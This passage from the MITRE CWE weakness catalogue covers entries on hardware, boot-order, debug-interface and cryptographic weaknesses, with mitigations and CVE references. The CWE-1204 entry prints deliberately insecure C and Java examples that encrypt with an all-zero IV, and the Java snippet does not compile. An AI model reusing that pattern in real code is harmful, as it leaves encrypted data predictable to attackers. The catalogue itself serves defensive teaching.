The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933
ParentOf		1042	Static Member Data Element outside of a Singleton Class Element	1742
ParentOf		1046	Creation of Immutable Text Using String Concatenation	1746
ParentOf		1049	Excessive Data Query Operations in a Large Data Table	1749
ParentOf		1063	Creation of Class Instance within a Static Code Block	1764
ParentOf		1067	Excessive Execution of Sequential Searches of Data Resource	1768

### Weakness Ordinalities

**Indirect :**

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
Other	Reduce Performance	

### References

[REF-1008]Wikipedia. "Computational complexity theory". < [https://en.wikipedia.org/wiki/Computational\\_complexity\\_theory](https://en.wikipedia.org/wiki/Computational_complexity_theory) >.

## CWE-1177: Use of Prohibited Code

**Weakness ID :** 1177

**Structure :** Simple

**Abstraction :** Class

### Description

The product uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer.

### Extended Description


The developer - or customers - may wish to restrict or eliminate use of a function, library, or third party component for any number of reasons, including real or suspected vulnerabilities; difficulty to use securely; export controls or license requirements; obsolete or poorly-maintained code; internal code being scheduled for deprecation; etc.

To reduce risk of vulnerabilities, the developer might maintain a list of "banned" functions that programmers must avoid using because the functions are difficult or impossible to use securely. This issue can also make the product more costly and difficult to maintain.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		710	Improper Adherence to Coding Standards	1444

Nature	Type	ID	Name	Page
ParentOf		242	Use of Inherently Dangerous Function	557
ParentOf		676	Use of Potentially Dangerous Function	1394

### Weakness Ordinalities

Indirect :

Primary :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-1009]Tim Rains. "Microsoft's Free Security Tools - banned.h". 2012 August 0. < <https://cloudblogs.microsoft.com/microsoftsecure/2012/08/30/microsofts-free-security-tools-banned-h/y> >.

[REF-1010]Michael Howard. "Microsoft's Free Security Tools - banned.h". 2011 June. < <https://msdn.microsoft.com/en-us/library/bb288454.aspx> >.

## CWE-1188: Insecure Default Initialization of Resource

**Weakness ID** : 1188

**Structure** : Simple

**Abstraction** : Base

### Description

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.



### Extended Description

Developers often choose default values that leave the product as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368
ParentOf		453	Insecure Default Variable Initialization	1024

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	452	Initialization and Cleanup Errors	2120

### Weakness Ordinalities

**Primary :**

### Notes

#### Maintenance

This entry improves organization of concepts under initialization. The typical CWE model is to cover "Missing" and "Incorrect" behaviors. Arguably, this entry could be named as "Incorrect" instead of "Insecure." This might be changed in the near future.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
665	Exploitation of Thunderbolt Protection Flaws

## CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC)

**Weakness ID :** 1189

**Structure :** Simple

**Abstraction :** Base

### Description

The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.

### Extended Description

A System-On-a-Chip (SoC) has a lot of functionality, but it may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>C</b>	668	Exposure of Resource to Wrong Sphere	1380
ChildOf	<b>B</b>	653	Improper Isolation or Compartmentalization	1353
ParentOf	<b>B</b>	1303	Non-Transparent Sharing of Microarchitectural Resources	2003
PeerOf	<b>B</b>	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)	2048

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	<b>B</b>	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)	2048

**Weakness Ordinalities****Primary :****Applicable Platforms****Language :** Not Language-Specific (*Prevalence = Undetermined*)**Technology :** System on Chip (*Prevalence = Undetermined*)**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If resources being used by a trusted user are shared with an untrusted user, the untrusted user may be able to modify the functionality of the shared resource of the trusted user.</i>	
Integrity	Quality Degradation  <i>The functionality of the shared resource may be intentionally degraded.</i>	

**Detection Methods****Automated Dynamic Analysis**

Pre-silicon / post-silicon: Test access to shared systems resources (memory ranges, control registers, etc.) from untrusted software to verify that the assets are not incorrectly exposed to untrusted agents. Note that access to shared resources can be dynamically allowed or revoked based on system flows. Security testing should cover such dynamic shared resource allocation and access control modification flows.

*Effectiveness = High*

**Potential Mitigations****Phase: Architecture and Design**

*Strategy = Separation of Privilege*

When sharing resources, avoid mixing agents of varying trust levels. Untrusted agents should not share resources with trusted agents.

**Demonstrative Examples****Example 1:**

Consider the following SoC design. The Hardware Root of Trust (HRoT) local SRAM is memory mapped in the core{0-N} address space. The HRoT allows or disallows access to private memory ranges, thus allowing the sram to function as a mailbox for communication between untrusted and trusted HRoT partitions.

We assume that the threat is from malicious software in the untrusted domain. We assume this software has access to the core{0-N} memory map and can be running at any privilege level on the untrusted cores. The capability of this threat in this example is communication to and from the mailbox region of SRAM modulated by the hrot\_iface. To address this threat, information must not enter or exit the shared region of SRAM through hrot\_iface when in secure or privileged mode.

**Observed Examples**

Reference	Description
<b>CVE-2019-6260</b>	Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary

Reference	Description
	read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. <a href="https://www.cve.org/CVERecord?id=CVE-2019-6260">https://www.cve.org/CVERecord?id=CVE-2019-6260</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
124	Shared Resource Manipulation

### References

[REF-1036]Ali Abbasi and Majid Hashemi. "Ghost in the PLC Designing an Undetectable Programmable Logic Controller Rootkit via Pin Control Attack". 2016. < <https://www.blackhat.com/docs/eu-16/materials/eu-16-Abbasi-Ghost-In-The-PLC-Designing-An-Undetectable-Programmable-Logic-Controller-Rootkit-wp.pdf> >.

[REF-1138]Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. < <https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/> >.

## CWE-1190: DMA Device Enabled Too Early in Boot Phase

**Weakness ID** : 1190

**Structure** : Simple

**Abstraction** : Base

### Description

The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.

### Extended Description

DMA is included in a number of devices because it allows data transfer between the computer and the connected device, using direct hardware access to read or write directly to main memory without any OS interaction. An attacker could exploit this to access secrets. Several virtualization-based mitigations have been introduced to thwart DMA attacks. These are usually configured/setup during boot time. However, certain IPs that are powered up before boot is complete (known as early boot IPs) may be DMA capable. Such IPs, if not trusted, could launch DMA attacks and gain access to assets that should otherwise be protected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf		696	Incorrect Behavior Order	1426

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Modify Memory  <i>DMA devices have direct write access to main memory and due to time of attack will be able to bypass OS or Bootloader access control.</i>	High

### Potential Mitigations

#### Phase: Architecture and Design

Utilize an IOMMU to orchestrate IO access from the start of the boot process.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1196	Security Flow Issues	1194	2262

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
180	Exploiting Incorrectly Configured Access Control Security Levels

### References

[REF-1038]"DMA attack". 2019 October 9. < [https://en.wikipedia.org/wiki/DMA\\_attack](https://en.wikipedia.org/wiki/DMA_attack) >.

[REF-1039]A. Theodore Marketos, Colin Rothwell, Brett F. Gutstein, Allison Pearce, Peter G. Neumann, Simon W. Moore and Robert N. M. Watson. "Thunderclap: Exploring Vulnerabilities in Operating System IOMMU Protection via DMA from Untrustworthy Peripherals". 2019 February 5. < [https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019\\_05A-1\\_Marketos\\_paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_05A-1_Marketos_paper.pdf) >.

[REF-1040]Maximillian Dornseif, Michael Becher and Christian N. Klein. "FireWire all your memory are belong to us". 2005. < <https://cansecwest.com/core05/2005-firewire-cansecwest.pdf> >.

[REF-1041]Rory Breuk, Albert Spruyt and Adam Boileau. "Integrating DMA attacks in exploitation frameworks". 2012 February 0. < [https://www.os3.nl/\\_media/2011-2012/courses/rp1/p14\\_report.pdf](https://www.os3.nl/_media/2011-2012/courses/rp1/p14_report.pdf) >.

[REF-1042]Maximillian Dornseif. "Owned by an iPod". 2004. < <https://pacsec.jp/psj04/psj04-dornseif-e.ppt> >.

[REF-1044]Dmytro Oleksiuk. "My aimful life". 2015 September 2. < <http://blog.cr4.sh/2015/09/breaking-uefi-security-with-software.html> >.

[REF-1046]A. Theodore Marketos and Adam Boileau. "Hit by a Bus:Physical Access Attacks with Firewire". 2006. < [https://security-assessment.com/files/presentations/ab\\_firewire\\_rux2k6-final.pdf](https://security-assessment.com/files/presentations/ab_firewire_rux2k6-final.pdf) >.

## CWE-1191: On-Chip Debug and Test Interface With Improper Access Control

**Weakness ID** : 1191

**Structure** : Simple

**Abstraction** : Base

### Description

The chip does not implement or does not correctly perform access control to check whether users are authorized to access internal registers and test modes through the physical debug/test interface.

### Extended Description

A device's internal information may be accessed through a scan chain of interconnected internal registers, usually through a JTAG interface. The JTAG interface provides access to these registers in a serial fashion in the form of a scan chain for the purposes of debugging programs running on a device. Since almost all information contained within a device may be accessed over this interface, device manufacturers typically insert some form of authentication and authorization to prevent unintended use of this sensitive information. This mechanism is implemented in addition to on-chip protections that are already present.

If authorization, authentication, or some other form of access control is not implemented or not implemented correctly, a user may be able to bypass on-chip protection mechanisms through the debug interface.

Sometimes, designers choose not to expose the debug pins on the motherboard. Instead, they choose to hide these pins in the intermediate layers of the board. This is primarily done to work around the lack of debug authorization inside the chip. In such a scenario (without debug authorization), when the debug interface is exposed, chip internals are accessible to an attacker.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
PeerOf	⊕	1263	Improper Physical Access Control	1923

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	⊖	1299	Missing Protection Mechanism for Alternate Hardware Interface	1993

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	High
Confidentiality	Read Memory	High
Authorization	Execute Unauthorized Code or Commands	High
Integrity	Modify Memory	High
Integrity	Modify Application Data	High
Access Control	Bypass Protection Mechanism	High

## Detection Methods

### Dynamic Analysis with Manual Results Interpretation

Authentication and authorization of debug and test interfaces should be part of the architecture and design review process. Withholding of private register documentation from the debug and test interface public specification ("Security by obscurity") should not be considered as sufficient security.

### Dynamic Analysis with Manual Results Interpretation

Dynamic tests should be done in the pre-silicon and post-silicon stages to verify that the debug and test interfaces are not open by default.

### Fuzzing

Tests that fuzz Debug and Test Interfaces should ensure that no access without appropriate authentication and authorization is possible.

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

If feasible, the manufacturer should disable the JTAG interface or implement authentication and authorization for the JTAG interface. If authentication logic is added, it should be resistant to timing attacks. Security-sensitive data stored in registers, such as keys, etc. should be cleared when entering debug mode.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

A home, WiFi-router device implements a login prompt which prevents an unauthorized user from issuing any commands on the device until appropriate credentials are provided. The credentials are protected on the device and are checked for strength against attack.

*Example Language: Other*

*(Bad)*

If the JTAG interface on this device is not hidden by the manufacturer, the interface may be identified using tools such as JTAGulator. If it is hidden but not disabled, it can be exposed by physically wiring to the board.

By issuing a "halt" command before the OS starts, the unauthorized user pauses the watchdog timer and prevents the router from restarting (once the watchdog timer would have expired). Having paused the router, an unauthorized user is able to execute code and inspect and modify data in the device, even extracting all of the router's firmware. This allows the user to examine the router and potentially exploit it.

JTAG is useful to chip and device manufacturers during design, testing, and production and is included in nearly every product. Without proper authentication and authorization, the interface may allow tampering with a product.

Example Language: Other

(Good)

In order to prevent exposing the debugging interface, manufacturers might try to obfuscate the JTAG interface or blow device internal fuses to disable the JTAG interface. Adding authentication and authorization to this interface makes use by unauthorized individuals much more difficult.

## Observed Examples

Reference	Description
<b>CVE-2019-18827</b>	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys <a href="https://www.cve.org/CVERecord?id=CVE-2019-18827">https://www.cve.org/CVERecord?id=CVE-2019-18827</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2267
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

## Notes

### Relationship

CWE-1191 and CWE-1244 both involve physical debug access, but the weaknesses are different. CWE-1191 is effectively about missing authorization for a debug interface, i.e. JTAG. CWE-1244 is about providing internal assets with the wrong debug access level, exposing the asset to untrusted debug agents.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

## References

[REF-1037]Kurt Rosenfeld and Ramesh Karri. "Attacks and Defenses for JTAG". 2010 February. < <https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=5406671> >.

[REF-1043]Gopal Vishwakarma and Wonjun Lee. "Exploiting JTAG and Its Mitigation in IOT: A Survey". 2018 December 3. < <https://www.mdpi.com/1999-5903/10/12/121/pdf> >.

[REF-1084]Gopal Vishwakarma and Wonjun Lee. "JTAG Explained (finally!): Why "IoT", Software Security Engineers, and Manufacturers Should Care". < <https://www.mdpi.com/1999-5903/10/12/121/pdf> >.

[REF-1085]Bob Molyneaux, Mark McDermott and Anil Sabbavarapu. "Design for Testability & Design for Debug". < [http://users.ece.utexas.edu/~mcdermot/vlsi-2/Lecture\\_17.pdf](http://users.ece.utexas.edu/~mcdermot/vlsi-2/Lecture_17.pdf) >.

## CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers

Weakness ID : 1192  
Structure : Simple

**Abstraction** : Base**Description**

The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.

**Extended Description**

A System-on-Chip (SoC) comprises several components (IP) with varied trust requirements. It is required that each IP is identified uniquely and should distinguish itself from other entities in the SoC without any ambiguity. The unique secured identity is required for various purposes. Most of the time the identity is used to route a transaction or perform certain actions, including resetting, retrieving a sensitive information, and acting upon or on behalf of something else.


There are several variants of this weakness:

- A "missing" identifier is when the SoC does not define any mechanism to uniquely identify the IP.
- An "insufficient" identifier might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended.
- A "misconfigured" mechanism occurs when a mechanism is available but not implemented correctly.
- An "ignored" identifier occurs when the SoC/IP has not applied any policies or does not act upon the identifier securely.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1361

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High

**Potential Mitigations****Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Every identity generated in the SoC should be unique and immutable in hardware. The actions that an IP is trusted or not trusted should be clearly defined, implemented, configured, and tested. If the definition is implemented via a policy, then the policy should be immutable or protected with clear authentication and authorization.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
113	Interface Manipulation

## CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control

**Weakness ID :** 1193

**Structure :** Simple

**Abstraction :** Base

### Description

The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.

### Extended Description

After initial reset, System-on-Chip (SoC) fabric access controls and other security features need to be programmed by trusted firmware as part of the boot sequence. If untrusted IPs or peripheral microcontrollers are enabled first, then the untrusted component can master transactions on the hardware bus and target memory or other assets to compromise the SoC boot firmware.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	696	Incorrect Behavior Order	1426

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High
	<i>An untrusted component can master transactions on the HW bus and target memory or other assets to compromise the SoC boot firmware.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

The boot sequence should enable fabric access controls and memory protections before enabling third-party hardware IPs and peripheral microcontrollers that use untrusted firmware.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2262

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

## References

[REF-1130]Mark Ermolov, Positive Technologies. "Intel x86 Root of Trust: loss of trust". 2020 March 5. < <https://blog.ptsecurity.com/2020/03/intelx86-root-of-trust-loss-of-trust.html> >.

[REF-1042]Maximillian Dornseif. "Owned by an iPod". 2004. < <https://pacsec.jp/psj04/psj04-dornseif-e.ppt> >.

## CWE-1204: Generation of Weak Initialization Vector (IV)

**Weakness ID** : 1204

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a cryptographic primitive that uses an Initialization Vector (IV), but the product does not generate IVs that are sufficiently unpredictable or unique according to the expected cryptographic requirements for that primitive.



### Extended Description

By design, some cryptographic primitives (such as block ciphers) require that IVs must have certain properties for the uniqueness and/or unpredictability of an IV. Primitives may vary in how important these properties are. If these properties are not maintained, e.g. by a bug in the code, then the cryptography may be weakened or broken by attacking the IVs themselves.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772
ParentOf		329	Generation of Predictable IV with CBC Mode	769

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the IV is not properly initialized, data that is encrypted can be compromised and information about the data can be leaked. See [REF-1179].</i>	

### Potential Mitigations

#### Phase: Implementation

Different cipher modes have different requirements for their IVs. When choosing and implementing a mode, it is important to understand those requirements in order to keep



security guarantees intact. Generally, it is safest to generate a random IV, since it will be both unpredictable and have a very low chance of being non-unique. IVs do not have to be kept secret, so if generating duplicate IVs is a concern, a list of already-used IVs can be kept and checked against. NIST offers recommendations on generation of IVs for modes of which they have approved. These include options for when random IVs are not practical. For CBC, CFB, and OFB, see [REF-1175]; for GCM, see [REF-1178].

### Demonstrative Examples

#### Example 1:

In the following examples, CBC mode is used when encrypting data:

*Example Language: C*

*(Bad)*

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

*Example Language: Java*

*(Bad)*

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text ="Secret".getBytes();
        byte[] iv ={
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

#### Example 2:

The Wired Equivalent Privacy (WEP) protocol used in the 802.11 wireless standard only supported 40-bit keys, and the IVs were only 24 bits, increasing the chances that the same IV would be reused for multiple messages. The IV was included in plaintext as part of the packet, making it directly observable to attackers. Only 5000 messages are needed before a collision occurs due to the "birthday paradox" [REF-1176]. Some implementations would reuse the same IV for each packet. This IV reuse made it much easier for attackers to recover plaintext from two packets with the same IV, using well-understood attacks, especially if the plaintext was known for one of the packets [REF-1175].

### Observed Examples

Reference	Description
<b>CVE-2020-1472</b>	ZeroLogon vulnerability - use of a static IV of all zeroes in AES-CFB8 mode <a href="https://www.cve.org/CVERecord?id=CVE-2020-1472">https://www.cve.org/CVERecord?id=CVE-2020-1472</a>
<b>CVE-2011-3389</b>	BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack. <a href="https://www.cve.org/CVERecord?id=CVE-2011-3389">https://www.cve.org/CVERecord?id=CVE-2011-3389</a>

Reference	Description
<b>CVE-2001-0161</b>	wireless router does not use 6 of the 24 bits for WEP encryption, making it easier for attackers to decrypt traffic <a href="https://www.cve.org/CVERecord?id=CVE-2001-0161">https://www.cve.org/CVERecord?id=CVE-2001-0161</a>
<b>CVE-2001-0160</b>	WEP card generates predictable IV values, making it easier for attackers to decrypt traffic <a href="https://www.cve.org/CVERecord?id=CVE-2001-0160">https://www.cve.org/CVERecord?id=CVE-2001-0160</a>
<b>CVE-2017-3225</b>	device bootloader uses a zero initialization vector during AES-CBC <a href="https://www.cve.org/CVERecord?id=CVE-2017-3225">https://www.cve.org/CVERecord?id=CVE-2017-3225</a>
<b>CVE-2016-6485</b>	crypto framework uses PHP rand function - which is not cryptographically secure - for an initialization vector <a href="https://www.cve.org/CVERecord?id=CVE-2016-6485">https://www.cve.org/CVERecord?id=CVE-2016-6485</a>
<b>CVE-2014-5386</b>	encryption routine does not seed the random number generator, causing the same initialization vector to be generated repeatedly <a href="https://www.cve.org/CVERecord?id=CVE-2014-5386">https://www.cve.org/CVERecord?id=CVE-2014-5386</a>
<b>CVE-2020-5408</b>	encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality <a href="https://www.cve.org/CVERecord?id=CVE-2020-5408">https://www.cve.org/CVERecord?id=CVE-2020-5408</a>
<b>CVE-2017-17704</b>	messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart <a href="https://www.cve.org/CVERecord?id=CVE-2017-17704">https://www.cve.org/CVERecord?id=CVE-2017-17704</a>
<b>CVE-2017-11133</b>	application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong. <a href="https://www.cve.org/CVERecord?id=CVE-2017-11133">https://www.cve.org/CVERecord?id=CVE-2017-11133</a>
<b>CVE-2007-3528</b>	Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3528">https://www.cve.org/CVERecord?id=CVE-2007-3528</a>

### Functional Areas

- Cryptography

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
20	Encryption Brute Forcing
97	Cryptanalysis

### References

[REF-1175]Nikita Borisov, Ian Goldberg and David Wagner. "Intercepting Mobile Communications: The Insecurity of 802.11". Proceedings of the Seventh Annual International Conference on Mobile Computing And Networking. 2001 July. ACM. < <http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf> >.

[REF-1175]Nikita Borisov, Ian Goldberg and David Wagner. "Intercepting Mobile Communications: The Insecurity of 802.11". Proceedings of the Seventh Annual International Conference on Mobile Computing And Networking. 2001 July. ACM. < <http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf> >.

[REF-1176]Wikipedia. "Birthday problem". 2021 March 6. < [https://en.wikipedia.org/wiki/Birthday\\_problem](https://en.wikipedia.org/wiki/Birthday_problem) >.

[REF-1177]Wikipedia. "Initialization Vector". 2021 March 8. < [https://en.wikipedia.org/wiki/Initialization\\_vector](https://en.wikipedia.org/wiki/Initialization_vector) >.

[REF-1178]NIST. "Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC". 2007 November. < <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf> >.

[REF-1179]Arxum Path Security. "CBC Mode is Malleable. Don't trust it for Authentication". 2019 October 6. < <https://www.arxumpathsecurity.de/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication> >.

## CWE-1209: Failure to Disable Reserved Bits

**Weakness ID** : 1209

**Structure** : Simple

**Abstraction** : Base

### Description

The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.

### Extended Description

Reserved bits are labeled as such so they can be allocated for a later purpose. They are not to do anything in the current design. However, designers might want to use these bits to debug or control/configure a future capability to help minimize time to market (TTM). If the logic being controlled by these bits is still enabled in production, an adversary could use the logic to induce unwanted/unsupported behavior in the hardware.

### Relationships

